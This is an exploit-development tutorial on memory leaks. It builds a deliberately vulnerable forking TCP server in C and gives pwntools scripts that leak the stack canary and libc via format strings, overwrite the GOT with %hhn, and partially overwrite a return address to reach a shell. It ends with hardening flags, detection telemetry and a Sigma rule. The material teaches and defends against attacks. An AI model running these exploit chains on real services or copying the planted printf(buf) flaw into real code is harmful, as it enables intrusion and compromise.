Information Leaks: Stack/Heap Disclosures, Format Strings, and Partial Overwrites

By Debraj Basak·Sep 17, 2026·18 min readExploit Development

You have a clean buffer overflow. NX is on, ASLR is on, there is a stack canary sitting between your bytes and the saved return address. Your overflow does exactly one thing: it crashes the process. That is the wall every modern memory-corruption bug hits, and the way through it is almost always the same. Leak something first.

Objective: Understand how memory-disclosure primitives (stack over-reads, heap leaks, format-string reads, and partial pointer overwrites) defeat ASLR, PIE, and stack canaries, and how a defender detects and shuts each one down. We build one intentionally vulnerable TCP service and take it from “crashes on overflow” to an interactive shell.


1. Why Leaks Are a Prerequisite

Modern exploitation is a two-stage game. The corruption bug gives you the power to change memory. The mitigations decide whether you know what to change it to.

MitigationWhat it randomizes / protectsWhat defeats it
ASLRBase of heap, stack, mmap/libcA leaked pointer into that region
PIEBase of the executable’s own text/GOTA leaked binary pointer
Stack canaryA random word before the saved RIPA leaked canary value
NX / DEPData pages non-executableROP/ret2libc (needs a text/libc leak)

On x86-64 the mmap region carries 28 bits of entropy by default. Blind guessing that space is not a strategy, it is a denial-of-service. A single leaked libc pointer collapses those 28 bits to zero. That is why disclosure comes first: it converts a randomized target into a known one, and every subsequent write becomes deterministic.

My opinion after doing this for years: 90% of the difficulty in a modern exploit is the leak. Once you have a reliable disclosure, the rest is arithmetic.


A vault door with four locks being bypassed by a leak of light through a crack in the wall beside it, symbolizing how a single memory disclosure defeats layered mitigations
A single leaked pointer collapses ASLR, PIE, and canary entropy to zero – the leak bypasses all four mitigations at once.

2. Memory Layout Refresher

Before you can name an address you want, you need to know what lives where.

RegionWhat lives thereWhy an attacker reads it
.textExecutable code, win()/gadgetsCompute PIE base, find ROP gadgets
.data / .bssGlobals, function pointersOverwrite targets
GOTResolved libc function addressesLeak libc base, hijack calls
Heapmalloc chunks, freed metadataLeak main_arena -> libc base
mmap / libcShared librariessystem, /bin/sh, one-gadget
StackLocals, saved RBP, saved RIP, canaryLeak canary + return address

A leaked pointer is only useful if you know what it points to. A stack address leaks the stack. A GOT entry leaks libc. A freed heap chunk’s fd pointer leaks main_arena, which sits at a fixed offset inside libc. The whole craft is turning one known pointer into a base address by subtracting a constant offset.


3. The Lab Target

Here is vuln_server.c, a forking TCP service with three deliberate bugs. It is small enough to reason about completely.

// vuln_server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>

#define PORT 9999
#define BUFSIZE 256

void win() { execve("/bin/sh", NULL, NULL); }   // lab "flag" gadget

void log_request(char *buf) {
    printf(buf);            // BUG 1: user input as the format argument
    fflush(stdout);
}

void handle(int fd) {
    char buf[BUFSIZE];
    dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);   // wire client to stdio so leaks return
    int n = read(fd, buf, 512);              // BUG 2: 512 bytes into a 256 buffer
    if (n <= 0) return;
    buf[n] = '\0';
    log_request(buf);                        // triggers the format string bug + echo
}

int main() {
    int s = socket(AF_INET, SOCK_STREAM, 0), opt = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    struct sockaddr_in a = {0};
    a.sin_family = AF_INET; a.sin_addr.s_addr = INADDR_ANY; a.sin_port = htons(PORT);
    bind(s, (struct sockaddr*)&a, sizeof(a));
    listen(s, 8);
    for (;;) {
        int fd = accept(s, NULL, NULL);
        if (fork() == 0) { handle(fd); close(fd); exit(0); }
        close(fd);
    }
}

Build Stage A (32-bit, no PIE, canary on, partial RELRO). You need gcc-multilib for -m32. FORTIFY has to be off or the compiler rewrites printf(buf) into a checked variant that aborts on %n.

sudo apt install gcc-multilib
gcc -m32 -no-pie -fstack-protector -z norelro \
    -D_FORTIFY_SOURCE=0 -Wno-format-security \
    -o vuln_server vuln_server.c
./vuln_server &

The forking model matters. The parent randomizes its canary and libc base exactly once at startup. Every fork()ed child inherits the same values. That means you can leak the canary on connection 1 and reuse it on connection 2. This is what makes forking servers so much friendlier than re-exec servers.


4. Recon and Binary Analysis

Enumerate the mitigations first. Ten minutes of checksec has saved me hours of chasing a leak I did not need.

checksec --file=./vuln_server
# Arch:     i386-32-little
# RELRO:    Partial RELRO   <- GOT is writable, %n overwrite is on the table
# Stack:    Canary found    <- need a canary leak
# NX:       NX enabled      <- no shellcode on the stack
# PIE:      No PIE           <- win()/text at a fixed address, partial overwrite is trivial

Now find where our input lands in printf‘s stack view. Feed a marker plus a row of %p and count.

python3 -c "print('AAAA' + '.%p'*20)" | nc 127.0.0.1 9999
# ...AAAA.0xf7fabc80.0x...0x41414141.0x...
#                              ^ our "AAAA" appears at position N

The slot printing 0x41414141 is the direct-access offset. Confirm it with a positional specifier so you never have to count .s again.

python3 -c "print('%7\$p')" | nc 127.0.0.1 9999   # adjust 7 until AAAA (0x41414141) prints

Positional specifiers (%k$p) are the single most useful trick in format-string work. A blind wall of %p is noisy and order-dependent. %7$p reads the same slot every time, so your leak script stays stable across runs.


5. Stack Disclosure via Buffer Over-Read

The purest leak needs no format string at all. read(fd, buf, 512) into a 256-byte buffer, followed by buf[n] = '\0', will happily copy adjacent stack contents if the program echoes an under-terminated buffer. On a strcpy/printf("%s")-style over-read the bytes that spill out are the saved RBP, the return address, and the canary.

The canary itself is a known quantity structurally. On x86-64 glibc stores it in the TLS block at fs:0x28; on 32-bit it is gs:0x14. Its low byte is 0x00 by design so that a string operation copying up to a newline stops before clobbering the rest of it. That null byte is also your tell: when you leak the canary you will see a value ending in 00.

from pwn import *
io = remote('127.0.0.1', 9999)
io.send(b'A'*40)                 # over-read past the initialized region
leak = io.recv()                 # adjacent stack slots come back with the echo
print(hexdump(leak))

Canaries stop a straight overflow. They do not stop reading. Once you can read past the buffer, the canary is just another value in the dump, and you can now overwrite it with itself.


6. Format String Vulnerabilities: The Read Primitive

The root cause is one missing format argument.

printf(buf);          // vulnerable: buf IS the format string
printf("%s", buf);    // safe: buf is data, "%s" is the format

printf is variadic. It has no idea how many arguments it was actually passed. When you hand it "%p.%p.%p", it dutifully walks up the stack popping three words, whether or not those words were ever meant as arguments. That is the entire vulnerability.

SpecifierEffect in exploit context
%x / %pPop and print a stack word / pointer (hex)
%llxPop a 64-bit value
%sTreat the stack word as a pointer, dereference, print the string
%nWrite bytes-printed-so-far into the pointer argument (a write)
%k$pPositional: read the k-th argument directly
%<width>cPad output width to control the count a later %n writes

%s is the dangerous one for reads because it dereferences. Point it at a GOT entry and it prints garbage bytes, but point a %p at the slot that holds a GOT-resolved address and you get a clean libc pointer. Reading a __libc_start_main return address off the stack, then subtracting the known offset, gives libc base directly.

# exploit_stage1.py  --  leak canary + a libc pointer over the wire
from pwn import *

elf  = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')   # match your target's libc
io   = remote('127.0.0.1', 9999)

CANARY_OFF = 11    # enumerate empirically in Phase 4 recon
LIBC_OFF   = 17    # slot holding a __libc_start_main return address

io.send(f'%{CANARY_OFF}$p.%{LIBC_OFF}$p'.encode())
canary, libc_leak = (int(x, 16) for x in io.recvline().split(b'.'))

log.success(f'canary   : {hex(canary)}')       # note the trailing 00 byte
log.success(f'libc leak: {hex(libc_leak)}')

# The subtrahend is libc-version-specific. NEVER hardcode it blindly:
# in gdb/pwndbg on the running child:  x/i <libc_leak>  then find the enclosing symbol.
libc.address = libc_leak - (libc.symbols['__libc_start_main'] + 243)
log.success(f'libc base: {hex(libc.address)}')

The 243 there is the distance from __libc_start_main to the return address that landed on the stack. It changes with every libc build. Determine it live: break in gdb, look at the leaked value, resolve the symbol it sits inside, subtract. Hardcoding another writer’s offset is the fastest way to a working script that fails on your box.


Flow diagram showing user input passed as a printf format string, which walks the stack to read the canary at slot 11 and a libc return address at slot 17, then computes libc base by subtracting a fixed offset
Positional specifiers let printf walk the stack and return the canary and a libc pointer in one round-trip.

7. Heap Disclosures

The heap leaks through three doors: uninitialized allocations (malloc without zeroing), out-of-bounds reads on heap objects, and use-after-free reads of freed-chunk metadata. The metadata read is the useful one.

When glibc frees a small chunk, it links it into a bin. For unsorted/small bins the chunk’s fd and bk fields point back into main_arena, a static symbol inside libc. Read those and you have a libc pointer.

struct malloc_chunk {
  INTERNAL_SIZE_T  mchunk_prev_size;  /* size of previous chunk (if free) */
  INTERNAL_SIZE_T  mchunk_size;       /* size in bytes + arena flags      */
  struct malloc_chunk* fd;            /* forward pointer -> main_arena     */
  struct malloc_chunk* bk;            /* back pointer                      */
  struct malloc_chunk* fd_nextsize;   /* large-bin list                    */
  struct malloc_chunk* bk_nextsize;
};

The exploitation logic: free a chunk, then read the region back (via UAF or an uninitialized re-malloc). The bytes at chunk+offsetof(fd) are a main_arena pointer. Subtract the arena offset (find it with readelf -s) and you have libc base, exactly as in the stack case but sourced from the heap.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w main_arena
# 000000000021ba00  ... main_arena   <- MAIN_ARENA_OFFSET from libc base
# after triggering a free + readback of the chunk body
fd_ptr = u32(io.recv(4))                 # freed chunk's fd field
libc.address = fd_ptr - MAIN_ARENA_OFFSET - 96   # 96 = fd offset within the arena's bin head
log.success(f'libc base (heap): {hex(libc.address)}')

A stack pointer that happens to point into the heap is a bonus door. When a format-string %s lands on a slot holding a heap address, you leak whatever config data, keys, or metadata sit at the front of that allocation. Heap leaks are where in-memory secrets bleed out.


8. The %n Write Primitive and GOT Overwrites

printf can write, not just read. %n stores the number of bytes printed so far into the pointer argument. Its siblings size the write:

SpecifierWrite width
%n4 bytes (int)
%hn2 bytes (short)
%hhn1 byte

Writing a full 32-bit address in one %n means printing four billion bytes. Nobody does that. You split the target into byte-sized writes with %hhn, using %<width>c padding to advance the byte counter to each value. pwntools automates the arithmetic.

Under Partial RELRO the GOT is writable, so the classic target is printf@got: overwrite it with system, then the next printf(buf) call becomes system(buf).

# exploit_stage3.py  --  overwrite printf@GOT with system, then call system("/bin/sh")
from pwn import *
elf  = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc.address already resolved from Stage 1

WRITE_OFF   = 7                          # the direct-access offset from Phase 0
target_addr = elf.got['printf']
system_addr = libc.symbols['system']

io = remote('127.0.0.1', 9999)
payload = fmtstr_payload(WRITE_OFF, {target_addr: system_addr}, write_size='byte')
io.send(payload)                         # this printf() performs the %n writes,
                                         # patching printf@GOT in THIS child only

# Same connection, same child: the next printf(buf) in handle() is now system(buf).
# Send "/bin/sh" so that follow-on call becomes system("/bin/sh").
io.send(b'/bin/sh\x00')                   # -> system("/bin/sh") in the already-patched child
io.interactive()

Here is the gotcha that cost me an hour once. The GOT patch lives in the child that performed the write. Each connection forks a fresh child from the pristine parent, so the overwrite does not persist across connections. On this forking server you must do the write and the trigger inside the same connection: read happens once per child, so you send a single payload that both writes the GOT and, on the next printf in the same process, fires. The clean single-connection design is to overwrite a GOT entry that handle calls after log_request returns. If your server calls printf only once, prefer the partial-overwrite path in the next section, which needs no second call.

And check checksec first. The night I lost that hour, the binary had been rebuilt with -z now overnight. Full RELRO made the GOT read-only, the %n writes silently no-op’d, and I blamed my offsets for far too long.


9. Partial Overwrites: ASLR Without a Full Leak

Sometimes you cannot leak a full pointer, but you can change a few bytes of one that already exists in memory. Page alignment is the gift here: mapped regions are page-aligned, so the low 12 bits of any address are fixed, no entropy at all. Overwrite just the least-significant byte or two of a saved return address and you redirect control within the same page or library without ever knowing its base.

Because our Stage A binary is -no-pie, win() sits at a fixed address. Even simpler: we overwrite the saved return address with win()‘s low bytes. First get the offset to the return address with a cyclic pattern.

gdb -q ./vuln_server
pwndbg> cyclic 300
pwndbg> run                    # in another shell:  printf '<cyclic>' | nc 127.0.0.1 9999
pwndbg> cyclic -l $eip         # -> exact offset, e.g. 268

Now build the overflow. We reuse the canary leaked in Stage 1 (same value in every child thanks to fork), replace it in place so the check passes, then partially overwrite the return address.

# exploit_stage4.py  --  canary bypass + partial overwrite of the return address
from pwn import *
elf = ELF('./vuln_server')

# canary was leaked earlier over a prior connection (forking server -> stable)
canary = 0xdeadce00          # from Stage 1; low byte is 00 by design
offset = 268                 # from cyclic

# win() is at a fixed no-PIE address; take its low 2 bytes only
win_lsb = (elf.symbols['win'] & 0xffff).to_bytes(2, 'little')

io = remote('127.0.0.1', 9999)
payload  = b'A' * offset
payload += p32(canary)       # canary restored -> stack check passes
payload += b'B' * 4          # saved EBP (32-bit)
payload += win_lsb           # partial overwrite: only the low 2 bytes of saved EIP
io.send(payload)
io.interactive()             # win() -> execve("/bin/sh"), wired to the socket via dup2

One subtlety on this exact target: log_request runs printf(buf) before the function returns, so your overflow bytes pass through printf first. A stray 0x25 (%) inside the canary or address bytes will be interpreted as a specifier and corrupt the run. That is precisely why the forking design is your friend: leak on one connection, then send a pure-A overflow (no %) with the known-good canary on the next. Split the jobs across connections and the shared bytes never fight.

For the harder 64-bit PIE stages (B and C), the same partial-overwrite idea holds: leak the low bytes of a saved return address, then enumerate the next byte. On 32-bit only 4 bits are unknown after fixing the low 12 (a 16-shot brute force). On 64-bit you must leak more, since blind enumeration of the high bytes is infeasible.


10. Chained Exploit: Leak to Compute to Overwrite to Shell

Pull it together against Stage A. Two connections, one shell.

#!/usr/bin/env python3
from pwn import *

elf  = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# --- Connection 1: format-string leak (canary + libc) ---
io = remote('127.0.0.1', 9999)
io.send(b'%11$p.%17$p')
canary, libc_leak = (int(x, 16) for x in io.recvline().split(b'.'))
libc.address = libc_leak - (libc.symbols['__libc_start_main'] + 243)  # verify offset live
io.close()
log.success(f'canary={hex(canary)}  libc={hex(libc.address)}')

# --- Connection 2: overflow with restored canary + jump to win() ---
io = remote('127.0.0.1', 9999)
payload  = b'A'*268 + p32(canary) + b'B'*4
payload += p32(elf.symbols['win'])     # full address (no-PIE) or LSB partial
io.send(payload)
io.interactive()

The moment handle returns, execution lands in win(), execve("/bin/sh", ...) runs, and because we dup2‘d the client fd onto stdin/stdout/stderr, you get an interactive shell over the socket. The leak defeated the canary, the fixed text base gave us win(), and the whole chain is deterministic.


Flow diagram of a two-connection exploit chain: connection 1 leaks the canary and libc address via format string, attacker computes libc base, connection 2 sends a stack overflow with the restored canary and overwrites the return address to win(), spawning a shell
The forking server preserves the same canary across children, letting you leak on connection 1 and trigger the overflow on connection 2.

11. Common Attacker Techniques

TechniqueDescription
Format-string read%p/%x/%k$p to dump stack: canary, saved RIP, libc pointers
%s dereference leakTreat a stack slot as a pointer, print the string at that address
Buffer over-readUnder-terminated echo spills adjacent stack/heap bytes
Heap metadata leakRead a freed chunk’s fd/bk to recover main_arena -> libc base
%n GOT overwriteByte-wise %hhn writes to redirect a GOT entry to system
Partial overwriteRewrite 1-2 LSBs of a pointer to stay inside a known page/library
Canary reuseLeak once on a forking server, replay the same canary on later connections

12. Defensive Strategies & Detection

Kill the primitive at compile time first. This is cheaper and more reliable than any detection rule.

MitigationFlagWhat it breaks
Stack canary-fstack-protector-strongStraight overflow without a canary leak
Full RELRO-z relro -z now%n GOT overwrite (GOT becomes read-only)
PIE-fPIE -pieHardcoded text/GOT addresses
FORTIFY-D_FORTIFY_SOURCE=2Blocks %n in writable format strings via __printf_chk (raises SIGABRT)
Shadow stack-fcf-protection=full (Intel CET)Return-address tampering

At the OS layer, keep kernel.randomize_va_space=2 (value 1 leaves the heap un-randomized), and constrain the service with seccomp/AppArmor so a post-exploit execve is denied outright. On Windows, mandatory ASLR is driven from HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages, with SEHOP on by default and /SAFESEH validating handlers.

Telemetry

The disclosure step is quiet by nature: it is just reads. The reconnaissance is loud, and the payoff is loud. Watch the crashes and the child processes.

On Linux, a %s aimed at an invalid stack slot dereferences unmapped memory and segfaults. A burst of those in journald//var/log/syslog or dmesg from a network service is active format-string probing. Add auditd rules on read/write for service socket fds to catch over-read return sizes, and drop executable regions appearing in /proc/<pid>/maps.

On Windows, the follow-on shell or injection is what you catch.

Sysmon Event IDNameRelevance
1Process Createcmd.exe/sh.exe child of a network service
7Image LoadedUnexpected DLL load post-exploitation
8CreateRemoteThreadShellcode injecting a thread after the leak
10Process AccessOpenProcess with PROCESS_VM_READ (memory scraping)
17 / 18Pipe Created / ConnectedNamed-pipe shellcode staging

Relevant ETW providers: Microsoft-Windows-Kernel-Process (process/thread creation), Microsoft-Windows-Kernel-Memory (allocation anomalies), and Microsoft-Windows-WER-Diag, which fires on the application crashes that %s probing generates. Kernel profiling events carry instruction pointers and can flag execution from unbacked memory.

title: Suspicious Child Process from Network Service
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith:
      - '\vuln_server.exe'
      - '\httpd.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\sh.exe'
  condition: selection
falsepositives:
  - Legitimate admin tooling spawned by service
level: high
tags:
  - attack.execution
  - attack.t1203

Hardening checklist

  1. Never pass user input as the format argument. Always printf("%s", input).
  2. Ship -D_FORTIFY_SOURCE=2 (or =3 on GCC 12+) in production.
  3. Enable Full RELRO (-z relro -z now) so the GOT is read-only.
  4. Enable PIE and kernel ASLR.
  5. Fence the process with seccomp/AppArmor/SELinux; block execve.
  6. Fuzz with AFL++/libFuzzer under -fsanitize=address,undefined to surface over-reads and format-string misuse before shipping.

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation of Remote ServicesT1210Crash bursts + anomalous child of vuln_server
Exploitation for Client ExecutionT1203Sysmon EID 1, WER crash events
System Information DiscoveryT1082Repeated leak requests, %p/%s probing
Data from Local SystemT1005Over-read return sizes via auditd on socket fds
Deobfuscate/Decode InformationT1140N/A (client-side offset math)
Process InjectionT1055Sysmon EID 8 (CreateRemoteThread)
Command and Scripting InterpreterT1059Sysmon EID 1 shell child

A cross-section of a multi-layered fortress wall where each layer bears a different protective symbol, showing defense-in-depth stopping a crack that penetrates the first layer but not the rest
Defense-in-depth stacks compile-time hardening, OS mitigations, and runtime telemetry so that bypassing one layer does not yield a shell.

13. Tools for Leak Analysis

ToolDescriptionLink
pwntoolsELF, remote, fmtstr_payload, cyclic, p32/u32 scriptinghttps://docs.pwntools.com
gdb + pwndbgOffset discovery, live offset verificationhttps://pwndbg.re
checksecEnumerate RELRO/canary/NX/PIEhttps://docs.pwntools.com/en/stable/commandline.html
ROPgadget / ropperGadget hunting after a text/libc leakhttps://github.com/JonathanSalwan/ROPgadget
readelfResolve main_arena and symbol offsetshttps://sourceware.org/binutils/docs/binutils/readelf.html
objdump / ghidra / radare2Static analysis of the lab binaryhttps://ghidra-sre.org
ltrace / straceLibrary/syscall tracing during reconhttps://man7.org/linux/man-pages/man1/strace.1.html

14. Recap

Every modern memory-corruption exploit lives or dies on the leak. The corruption bug gives you the power to change memory; the disclosure primitive tells you what to change it to. We walked the full arc against one intentionally vulnerable forking TCP service:

  • Leak first. A stack over-read or a format-string %k$p recovers the canary and a libc pointer, collapsing 28 bits of ASLR entropy to zero.
  • Compute. Subtract a live-verified offset from any leaked pointer to derive libc base; a freed chunk’s fd field into main_arena gets you there from the heap instead of the stack.
  • Overwrite. %hhn byte-wise writes patch a writable (partial-RELRO) GOT entry to system, or a 1-2 byte partial overwrite redirects a return address inside a known page with no full leak at all.
  • Shell. Canary restored in place, return address bent to win(), execve("/bin/sh") fires over the dup2‘d socket.

For defenders the order is inverted: kill the primitive at build time (-fstack-protector-strong, Full RELRO, PIE, _FORTIFY_SOURCE, CET), then catch the loud ends of the chain: %s crash bursts in journald/WER and anomalous shell children in Sysmon EID 1. The disclosure itself is quiet; the recon and the payoff are not. Instrument both.


Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.